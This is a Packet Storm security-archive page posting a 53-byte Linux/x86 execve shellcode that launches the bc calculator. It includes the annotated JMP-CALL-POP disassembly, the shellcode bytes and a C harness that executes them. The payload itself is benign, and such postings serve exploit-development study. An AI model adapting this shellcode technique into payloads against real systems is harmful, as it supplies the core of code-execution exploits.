exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 execve() bc Shellcode

Linux/x86 execve() bc Shellcode
Posted Jan 29, 2019
Authored by Daniele Votta

53 bytes small Linux/x86 execve() shellcode that runs bc (terminal calculator).

tags | x86, shellcode
systems | linux
SHA-256 | a52a21780a286e00252a03c928310b2f2177bd2819099427c7f1d5e55e46f4a1

Linux/x86 execve() bc Shellcode

Change Mirror Download
/*
; Date: 27/01/2019
; Execve_Calc.asm
; Author: Daniele Votta
; Description: This program invoke excve to run terminal calculator (bc).
; Tested on: i686 GNU/Linux
; Shellcode Length:53
; JMP | CALL | POP | Techniques
*/

#include<stdio.h>
#include<string.h>

/*
; Execve_Calc: file format elf32-i386
;
; Disassembly of section .text:
; 08048080 <_start>:
; 8048080: eb 1a jmp 804809c <call_shellcode>
;
; 08048082 <shellcode>:
; 8048082: 5e pop esi
; 8048083: 31 db xor ebx,ebx
; 8048085: 88 5e 0b mov BYTE PTR [esi+0xb],bl
; 8048088: 89 76 0c mov DWORD PTR [esi+0xc],esi
; 804808b: 89 5e 10 mov DWORD PTR [esi+0x10],ebx
; 804808e: 8d 1e lea ebx,[esi]
; 8048090: 8d 4e 0c lea ecx,[esi+0xc]
; 8048093: 8d 56 10 lea edx,[esi+0x10]
; 8048096: 31 c0 xor eax,eax
; 8048098: b0 0b mov al,0xb
; 804809a: cd 80 int 0x80
;
; 0804809c <call_shellcode>:
; 804809c: e8 e1 ff ff ff call 8048082 <shellcode>
;
; 080480a1 <message>:
; 80480a1: 2f das
; 80480a2: 75 73 jne 8048117 <_end+0x5f>
; 80480a4: 72 2f jb 80480d5 <_end+0x1d>
; 80480a6: 62 69 6e bound ebp,QWORD PTR [ecx+0x6e]
; 80480a9: 2f das
; 80480aa: 62 63 41 bound esp,QWORD PTR [ebx+0x41]
; 80480ad: 42 inc edx
; 80480ae: 42 inc edx
; 80480af: 42 inc edx
; 80480b0: 42 inc edx
; 80480b1: 43 inc ebx
; 80480b2: 43 inc ebx
; 80480b3: 43 inc ebx
; 80480b4: 43 inc ebx
======================= POC Daniele Votta =======================
*/

unsigned char shellcode[] = \
"\xeb\x1a\x5e\x31\xdb\x88\x5e\x0b\x89\x76\x0c\x89\x5e\x10\x8d\x1e\x8d\x4e\x0c\x8d\x56\x10\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x62\x63\x41\x42\x42\x42\x42\x43\x43\x43\x43";

int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close